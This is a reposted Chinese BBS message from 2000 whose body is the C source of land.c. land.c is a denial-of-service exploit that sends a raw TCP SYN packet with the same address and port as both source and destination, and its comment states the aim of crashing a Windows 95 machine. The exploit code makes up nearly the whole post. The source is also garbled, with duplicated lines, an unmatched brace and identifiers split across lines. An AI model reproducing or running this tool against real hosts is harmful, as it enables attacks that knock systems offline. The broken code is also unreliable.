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发信人: bstone (Sealed!), 信区: Hacker
标 题: [转载] land.c
发信站: BBS 荔园晨风站 (Mon Apr 10 22:08:45 2000), 转信
【 以下文字转载自 Test 讨论区 】
【 原文由 bstone 所发表 】
发信人: cloudsky (小四), 信区: Security
标 题: land.c
发信站: 武汉白云黄鹤站 (Mon Apr 10 11:46:21 2000), 站内信件
/* land.c by m3lt, FLC
crashes a win95 box
Ported by blast and jerm to 44BSD
Ported by ziro antagonist to Solaris 2.5*/
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>
#include <ctype.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
/* #include <netinet/ip_tcp.h> */
/* #include <netinet/protocols.h> */
/*
struct pseudohdr
{
struct in_addr saddr;
struct in_addr daddr;
u_char zero;
u_char protocol;
u_short length;
struct tcphdr tcpheader;
};
u_short checksum(u_short * data,u_short length)
{
register long value;
u_short i;
u_short i;
for(i=0;i<(length>>1);i++)
value+=data[i];
if((length&1)==1)
value+=(data[i]<<8);
value=(value&65535)+(value>>16);
return(~value);
}
*/
int main(int argc,char * * argv)
{
struct sockaddr_in sin;
struct hostent * hoste;
int sock,foo;
char buffer[40];
struct ip * ipheader=(struct ip *) buffer;
struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct ip));
/* struct pseudohdr pseudoheader;*/
/* struct pseudohdr pseudoheader;*/
fprintf(stderr,"land.c by m3lt mod by blast, FLC, mod by ziro\n");
if(argc<3)
{
fprintf(stderr,"usage: %s IP port\n",argv[0]);
return(-1);
}
bzero(&sin,sizeof(struct sockaddr_in));
sin.sin_family=AF_INET;
if((hoste=gethostbyname(argv[1]))!=NULL)
bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);
else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
{
fprintf(stderr,"unknown host %s\n",argv[1]);
return(-1);
}
if((sin.sin_port=htons(atoi(argv[2])))==0)
{
{
fprintf(stderr,"unknown port %s\n",argv[2]);
return(-1);
}
if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
{
fprintf(stderr,"couldn't allocate raw socket\n");
return(-1);
}
foo=1;
if(setsockopt(sock,0,IP_HDRINCL,(char *)&foo,sizeof(int))==-1)
{
fprintf(stderr,"couldn't set raw header on socket\n");
return(-1);
}
bzero(&buffer,sizeof(struct ip)+sizeof(struct tcphdr));
ipheader->ip_v=4;
ipheader->ip_hl=sizeof(struct ip)/4;
ipheader->ip_len=sizeof(struct ip)+sizeof(struct tcphdr);
ipheader->ip_id=htons(0xF1C);
ipheader->ip_id=htons(0xF1C);
ipheader->ip_ttl=255;
ipheader->ip_p=IPPROTO_TCP;
ipheader->ip_src=sin.sin_addr;
ipheader->ip_dst=sin.sin_addr;
tcpheader->th_sport=sin.sin_port;
tcpheader->th_dport=sin.sin_port;
tcpheader->th_seq=htonl(0xF1C);
tcpheader->th_flags=TH_SYN;
tcpheader->th_off=sizeof(struct tcphdr)/4;
tcpheader->th_win=htons(2048);
tcpheader->th_sum=20;
/*
bzero(&pseudoheader,12+sizeof(struct tcphdr));
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.protocol=6;
pseudoheader.length=htons(sizeof(struct tcphdr));
bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(structt
cphdr));
tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tp
tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tp
hdr));
*/
if(sendto(sock,buffer,sizeof(struct ip)+sizeof(struct tcphdr),0,(structs
ockaddr *) &sin,sizeof(struct sockaddr_in))==-1)
{
fprintf(stderr,"couldn't send packet,%d\n",errno);
return(-1);
}
fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);
close(sock);
return(0);
}
--
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风感慨:是的,他们已经宣战。
我问苏醒的大地:还有希望么?
大地揉了揉眼睛:还有,还有无数代的少年。
我问长空中的英魂:你们相信?
英魂带着笑意离去:相信,希望还在。
※ 来源:.武汉白云黄鹤站 bbs.whnet.edu.cn.[FROM: 203.207.226.124]
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☆ 来源:.BBS 荔园晨风站 bbs.szu.edu.cn.[FROM: bbs@192.168.28.106]
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※ 转载:·BBS 荔园晨风站 bbs.szu.edu.cn·[FROM: 192.168.28.106]
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